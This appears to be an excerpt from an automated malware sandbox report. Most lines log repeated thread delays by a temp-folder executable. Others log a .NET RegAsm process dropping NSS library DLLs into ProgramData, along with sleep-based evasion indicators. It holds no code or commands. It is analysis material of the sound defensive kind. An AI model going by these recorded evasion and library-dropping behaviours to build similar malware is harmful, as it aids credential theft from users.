Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577425	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577231	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576976	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576184	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574667	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574444	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573762	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573193	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572276	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571733	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571577	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571249	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571022	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570837	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570661	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570478	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570157	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569096	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568684	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568256	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567320	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566680	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566467	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565419	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565213	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564426	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560909	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560714	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560498	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559897	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559716	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558753	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557266	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556655	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556455	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556286	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555956	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555549	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554674	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552420	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552261	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551900	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551702	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550372	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549022	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547771	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547296	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546079	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545293	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545061	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543636	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541154	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540700	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539974	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539586	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538728	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538538	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538117	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537933	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537708	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536958	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536780	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536581	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536421	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535987	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535573	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535242	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534888	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533897	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533514	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532754	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532204	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531854	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531317	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530270	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529931	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529576	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529458	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529275	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527895	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527748	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 527094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 526391	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Window / User API: threadDelayed 5209

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.5 %

Source: C:\Users\user\Desktop\file.exe TID: 5032	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 4996	Thread sleep count: 321 > 30	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 4996	Thread sleep count: 243 > 30	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 5660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 6500	Thread sleep count: 5209 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99823s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99661s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99319s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99140s >= -30000s	Jump to behavior
